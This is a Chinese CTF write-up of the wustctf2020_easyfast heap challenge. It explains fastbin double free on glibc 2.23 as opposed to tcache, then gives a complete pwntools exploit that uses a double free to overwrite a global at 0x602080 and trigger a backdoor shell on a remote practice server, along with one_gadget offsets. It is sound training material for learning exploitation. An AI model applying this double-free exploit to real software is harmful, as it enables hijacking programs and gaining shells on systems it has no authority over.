wustctf2020_easyfast（uaf）

wustctf2020_easyfast:

逆向分析：

主界面：

add函数：

free函数：

edit函数：

backdoor：

这题是libc2.23的doublefree，注意区别
引用这位师傅的回顾double free手法

在glibc2.27之前，主要是fastbin double free：
fastbin在free时只会检查现在释放的chunk，是不是开头的chunk，因此可以通过free(C1), free(C2),
free(C1)的手法绕过 并在在fastbin取出时，会检查size字段是不是属于这个fastbin，因此往往需要伪造一个size
glibc2.27~glibc2.28，主要是tcache double free 相较于fastbin double
free，tcache完全没有任何检查，只需要free(C1), free(C1)就可以构造一个环出来

可以看到题目上面有个0x50，帮我们绕过检查

exp：

from pwn import *
#from LibcSearcher import * 
local_file  = './wustctf2020_easyfast'
local_libc  = './libc-2.23.so'
remote_libc = './libc-2.23.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('node4.buuoj.cn',27879 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                         :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
     gdb.attach(r,cmd)
#-------------------------------
def add(size):
        sla('choice>\n','1')
        sla('size>\n',str(size))
def free(index):
        sla('choice>\n','2')
        sla('index>\n',str(index))
def edit(index,content):
        sla('choice>\n','3')
        sla('index>\n',str(index))
        se(content)
def backdoor():
        sla('choice>\n','4')
#--------------------------------
add(0x40)#0
add(0x40)#1
free(0)
free(1)
free(0)
#add(0x40)
edit(0,p64(0x602080))
add(0x40)
add(0x40)
edit(3,p64(0))
backdoor()
#debug()
r.interactive()